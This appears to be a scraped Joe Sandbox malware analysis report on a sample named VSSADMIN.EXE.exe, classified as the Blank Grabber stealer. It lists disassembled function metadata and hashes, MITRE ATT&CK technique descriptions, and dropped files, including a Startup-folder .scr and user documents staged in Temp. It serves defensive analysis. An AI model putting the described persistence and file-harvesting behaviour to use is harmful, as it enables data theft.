Opcode Fuzzy Hash: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction Fuzzy Hash: 5A41BD37A08A5295EF14DF29E4802B866A4EF55B84B074031FD0D87B95DFBFE4A1C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE777C38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,00007FF6EE777471), ref: 00007FF6EE777C96
wcsstr.LIBVCRUNTIME ref: 00007FF6EE777CBC

Strings

System Volume Information\, xrefs: 00007FF6EE777CB2

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AttributesFilewcsstr
String ID: System Volume Information\
API String ID: 1592324571-4227249723
Opcode ID: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction ID: e5f5e973b2ef28b6e79d6c7bb3d1d452500397f1bc1470ca6bcee00bff7779e3
Opcode Fuzzy Hash: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction Fuzzy Hash: FA312323A1968245FF509B21E1503BA27A4EF65BC1F464030FE8D97796DEBEE061C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE744888 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE7448F8

Part of subcall function 00007FF6EE7749F4: LoadStringW.USER32 ref: 00007FF6EE774A7B
Part of subcall function 00007FF6EE7749F4: LoadStringW.USER32 ref: 00007FF6EE774A94

Part of subcall function 00007FF6EE748444: fflush.LIBCMT ref: 00007FF6EE748477

Strings

%d.%02d, xrefs: 00007FF6EE7448DE
[, xrefs: 00007FF6EE7448E5

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: LoadString$fflushswprintf
String ID: %d.%02d$[
API String ID: 1946543793-195111373
Opcode ID: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction ID: 9a7c9ffc114891d8cddeabfa0fcf215faed7dff444e39199512e5bc5bf003a99
Opcode Fuzzy Hash: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction Fuzzy Hash: 1E31C413A095C651FF60EB14E0053B92391EF64744F46003AF64D876C6EFBEE4A6CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE773C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE773CB0

Strings

$%s, xrefs: 00007FF6EE773C9D
@%s, xrefs: 00007FF6EE773C94

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: snprintf
String ID: $%s$@%s
API String ID: 4288800496-834177443
Opcode ID: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction ID: 714182730347ff8aeb3dda19f24575860b2b387bcd96d1f433a78b8dae35e0d5
Opcode Fuzzy Hash: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction Fuzzy Hash: 9131CB23A18A82A5EF108B55E4407BA2360FB64788F420032FE4D97BD9DE7EE535C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE76F474 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE76F4D2

Strings

fixed., xrefs: 00007FF6EE76F4B8
fixed%u., xrefs: 00007FF6EE76F4C6

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: swprintf
String ID: fixed%u.$fixed.
API String ID: 233258989-2525383582
Opcode ID: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction ID: a699df3e983df6946d93ca39975805492527ee5c7e522a1da1893645a64df80e
Opcode Fuzzy Hash: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction Fuzzy Hash: A031E623A1C68252FF10DF25E4003E97360FB64384F910132FA8D87A9ADE7ED556CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7749F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6EE774A7B
LoadStringW.USER32 ref: 00007FF6EE774A94

Strings

Adding %-58s , xrefs: 00007FF6EE774A16

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: LoadString
String ID: Adding %-58s
API String ID: 2948472770-2059140559
Opcode ID: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction ID: d8021c975d536d73398d1d7238dd37b528ecf943ac33b27f7cd38af72f26f2b2
Opcode Fuzzy Hash: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction Fuzzy Hash: A6119062B04B4185EB009F16EC04268B7A5FBA8FC1F168435DE4DC3324EFBDE561C249

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE735DB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE735E1B
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE735E2F

Strings

;%%0%du, xrefs: 00007FF6EE735E0A

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%%0%du
API String ID: 233258989-2249936285
Opcode ID: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction ID: 81025453f666701306f7e15ef0fa7d689325d8c87742e1cb67a7400f008ab727
Opcode Fuzzy Hash: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction Fuzzy Hash: 2211C823B1868042EB60DB24E0143E97760FBA4B44F464031FF8C87799DE7ED955CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77B974 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF6EE77B97B
GetLastError.KERNEL32 ref: 00007FF6EE77B986

Part of subcall function 00007FF6EE74CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6EE74CEDE

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF6EE77B990

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ErrorExceptionLastObjectSingleThrowWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 564652978-2248577382
Opcode ID: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction ID: 49ce2ab6abad5da6417ea8f7ca14256af20a23ae96e5b999d75353aea78b64f0
Opcode Fuzzy Hash: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction Fuzzy Hash: 24E0E523F4880282EF00A724E8852A43291AF75765F920731F03EC61E59FAEA566C30A

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VSSADMIN.EXE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Blank Grabber

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\DTBZGIOOSO.docx

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\HTAGVDFUIE.pdf

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\KATAXZVCPS.mp3

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\KZWFNRXYKI.mp3

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\LTKMYBSEYZ.jpg

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\ONBQCLYSPU.docx

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\ONBQCLYSPU.pdf

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\UMMBDNEQBN.png

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\UMMBDNEQBN.xlsx

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\VLZDGUKUTZ.jpg

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\WUTJSCBCFX.png

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\XZXHAVGRAG.xlsx

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\DTBZGIOOSO.docx

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\HTAGVDFUIE.pdf

Windows Analysis Report
VSSADMIN.EXE.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

